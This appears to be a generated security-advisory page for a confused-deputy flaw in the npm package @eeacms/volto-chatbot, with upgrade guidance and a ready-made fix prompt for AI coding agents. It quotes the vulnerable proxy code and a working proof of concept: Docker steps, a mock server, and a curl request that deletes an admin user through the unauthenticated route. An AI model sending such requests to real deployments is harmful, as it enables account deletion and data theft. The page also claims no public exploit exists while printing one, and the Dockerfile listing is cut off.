# GHSA-w9x9-j56r-h98r: @eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy


- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Fix available:** Yes
- **Published:** 29 Oct 2026

## What is GHSA-w9x9-j56r-h98r?

GHSA-w9x9-j56r-h98r is a vulnerability in @eeacms/volto-chatbot, published on 29 Oct 2026. 

### Official description

## Unauthenticated Danswer API Confused Deputy Proxy in @eeacms/volto-chatbot

### Summary

`@eeacms/volto-chatbot` exposes an Express middleware route (`**/_v1_da/**`) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (`DANSWER_API_KEY` or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.

### Details

The vulnerability is introduced across two source files in `@eeacms/volto-chatbot@2.0.3`.

**Route registration (`src/index.js:15`):**

```js
middleware.all('**/_v1_da/**', proxyMiddleware);
```

The wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before `proxyMiddleware`. This means all requests reaching any `/_v1_da/` path are forwarded without any identity check.

**Unvalidated path extraction and upstream URL construction (`src/middleware.js:228-230`):**

```js
const path = req.url.replace('/_v1_da/', '/');
const reqUrl = `${process.env.DANSWER_URL || ''}/api${path}`;
```

The attacker-controlled `req.url` is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.

**Credential attachment and forwarding (`src/middleware.js:164`, `src/middleware.js:169`, `src/middleware.js:202`):**

```js
// Session-cookie path (line 164):
headers = { Cookie: cached_auth_cookie, ... }

// API-key path (line 169):
Authorization: 'Bearer ' + api_key,

// Sink — final upstream dispatch (line 202):
const response = await fetch(url, options, req.body);
```

After constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a `Bearer` API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.

**Complete data flow (source → sink):**

1. `src/index.js:15` — all `**/_v1_da/**` paths registered to `proxyMiddleware` with no auth guard (source: external HTTP request).
2. `src/middleware.js:228` — `req.url` used directly to derive the upstream path without allowlist.
3. `src/middleware.js:230` — attacker-controlled path appended to `${DANSWER_URL}/api`.
4. `src/middleware.js:164` / `src/middleware.js:169` — server-side session cookie or API key attached.
5. `src/middleware.js:202` — `fetch(url, options, req.body)` sends the fully-credentialed request to the Danswer backend (sink).

This vulnerability is present whenever the add-on middleware is installed and `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` is configured — conditions required for normal, documented operation of the package.

### PoC

The following steps reproduce the vulnerability using the Docker-based test harness provided with this report.

**Prerequisites:**
- Docker installed
- Python 3 with the `requests` library

**Step 1 — Build the Docker image (from the `npmAI_719_eea__volto-chatbot/` parent directory):**

```bash
docker build \
  -f vuln-001/Dockerfile \
  -t vuln001-proxy \
  reports/npmAI_719_eea__volto-chatbot
```

The image packages the unmodified `src/middleware.js` from `@eeacms/volto-chatbot@2.0.3`, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable `DANSWER_API_KEY=supersecret` is set to simulate a real deployment.

**Step 2 — Start the container:**

```bash
docker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy
```

This launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.

**Step 3 — Run the PoC exploit script:**

```bash
python3 vuln-001/poc.py 127.0.0.1 3000
```

**What the script does:**
1. Waits for the proxy to accept TCP connections.
2. Sends an unauthenticated `POST` request with a JSON body to the admin-only Danswer endpoint via the proxy:

```
POST http://127.0.0.1:3000/_v1_da/admin/users/delete
Content-Type: application/json

{"id": "victim-user-123"}
```

No `Authorization` or `Cookie` header is sent by the client.

**Expected output (exploit confirmed):**

```
[+] === EXPLOIT CONFIRMED — PASS ===
[+] Decisive evidence:
    1. Attacker-controlled path reached upstream : url='/api/admin/users/delete'
    2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret'
    3. Attacker-controlled HTTP method forwarded : method='POST'
```

The mock Danswer server receives `POST /api/admin/users/delete` with `Authorization: Bearer supersecret` — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.

**Equivalent manual curl command (without Docker):**

```bash
# Terminal 1 — mock Danswer server
node - <<'NODE'
require('http').createServer((req, res) => {
  let b = ''; req.on('data', c => b += c);
  req.on('end', () => {
    res.setHeader('content-type', 'application/json');
    res.end(JSON.stringify({
      method: req.method, url: req.url,
      authorization: req.headers.authorization || null,
      body: b
    }));
  });
}).listen(18080, () => console.log('mock Danswer on :18080'));
NODE

# Terminal 2 — Volto with Danswer credentials configured
DANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start

# Terminal 3 — unauthenticated exploit request
curl -i -X POST 'http://localhost:3000/_v1_da/admin/users/delete' \
  -H 'Content-Type: application/json' \
  --data '{"id":"victim-user-123"}'
```

The response body will contain `"authorization":"Bearer secret"` and `"url":"/api/admin/users/delete"`, confirming the Confused Deputy.

### Impact

This is a **Confused Deputy / Missing Authorization** vulnerability. The Volto proxy acts as a privileged deputy that forwards attacker-supplied requests to the Danswer backend while silently attaching its own service credentials.

**Who is impacted:**

Any deployment of `@eeacms/volto-chatbot` that:
- has the package's Express middleware installed (default when the add-on is active), AND
- has `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` configured (required for the add-on to function at all).

Because these conditions are satisfied in every normal production deployment of the package, the vulnerability is effectively default-on.

**Concrete attacker capabilities depend on the Danswer service account's permissions but include:**

- **High Confidentiality impact** — reading any Danswer endpoint accessible to the service account, including documents, user data, conversation history, and configuration.
- **Low–High Integrity impact** — invoking write/mutate endpoints such as `POST /admin/users/delete`, `POST /chat/create-chat-session`, or any other writable Danswer API path as the service account.
- **No Authentication required** — the attacker needs only network access to the Volto server (port 3000); no user account, cookie, or token is required.

The vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# Dockerfile for VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy
#
# Build context: the parent directory (npmAI_719_eea__volto-chatbot/)
#   docker build -f vuln-001/Dockerfile -t vuln001-proxy .
#
# Run:
#   docker run --rm -p 3000:3000 vuln00

## Which versions are affected by GHSA-w9x9-j56r-h98r?

2 open source packages ship an affected version, including @eeacms/volto-chatbot.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@eeacms/volto-chatbot` | npm | All versions | 2.0.4 |
| `@eeacms/volto-chatbot` | npm | All versions | 2.0.4 |

## How do I fix GHSA-w9x9-j56r-h98r?

Upgrade @eeacms/volto-chatbot to 2.0.4 or later.

## Is GHSA-w9x9-j56r-h98r being exploited?

There is no known exploitation of GHSA-w9x9-j56r-h98r in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-w9x9-j56r-h98r and fix it if it is affected.

What it is: GHSA-w9x9-j56r-h98r is a vulnerability in @eeacms/volto-chatbot, published on 29 Oct 2026. 
Exploitation: There is no known exploitation of GHSA-w9x9-j56r-h98r in the wild and no public exploit code.

Affected packages and fixed versions:
- @eeacms/volto-chatbot (npm): affected all versions; fixed in 2.0.4
- @eeacms/volto-chatbot (npm): affected all versions; fixed in 2.0.4

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-w9x9-j56r-h98r/ (Markdown: https://insights.sbomify.com/GHSA-w9x9-j56r-h98r/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-w9x9-j56r-h98r

---
From sbomify Insights: https://insights.sbomify.com/GHSA-w9x9-j56r-h98r/
Summaries are generated and may contain mistakes; the official description above is the record.